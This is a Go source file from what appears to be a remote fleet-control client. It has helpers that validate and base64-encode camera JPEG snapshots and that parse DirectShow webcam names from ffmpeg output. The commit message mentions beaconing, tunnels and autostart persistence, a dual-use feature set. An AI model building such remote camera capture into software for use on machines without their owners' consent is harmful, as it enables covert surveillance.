5fc601b564
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
67 lines
1.5 KiB
Go
67 lines
1.5 KiB
Go
package client
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import (
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"encoding/base64"
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"fmt"
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"strings"
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)
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const maxCameraSnapshotBytes = 2 * 1024 * 1024
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func isJPEG(data []byte) bool {
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return len(data) >= 3 && data[0] == 0xff && data[1] == 0xd8 && data[2] == 0xff
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}
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func encodeCameraSnapshotJPEG(raw []byte) (string, error) {
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if len(raw) < 100 {
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return "", fmt.Errorf("camera capture too small (%d bytes)", len(raw))
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}
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if !isJPEG(raw) {
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return "", fmt.Errorf("camera capture is not JPEG (got %d bytes)", len(raw))
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}
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if len(raw) > maxCameraSnapshotBytes {
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return "", fmt.Errorf("camera image exceeds %d byte cap (%d bytes)", maxCameraSnapshotBytes, len(raw))
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}
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return base64.StdEncoding.EncodeToString(raw), nil
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}
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// parseDShowVideoDevices extracts quoted DirectShow video device names from ffmpeg -list_devices output.
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func parseDShowVideoDevices(stderr string) []string {
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var devs []string
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inVideo := false
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for _, line := range strings.Split(stderr, "\n") {
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lower := strings.ToLower(line)
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if strings.Contains(lower, "directshow video devices") {
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inVideo = true
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continue
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}
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if inVideo && strings.Contains(lower, "directshow audio devices") {
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break
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}
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if !inVideo {
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continue
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}
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if strings.Contains(lower, "alternative name") {
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continue
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}
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name := extractQuotedDeviceName(line)
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if name != "" {
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devs = append(devs, name)
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}
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}
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return devs
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}
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func extractQuotedDeviceName(line string) string {
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start := strings.Index(line, `"`)
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if start < 0 {
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return ""
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}
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rest := line[start+1:]
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end := strings.Index(rest, `"`)
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if end <= 0 {
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return ""
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}
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return rest[:end]
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}
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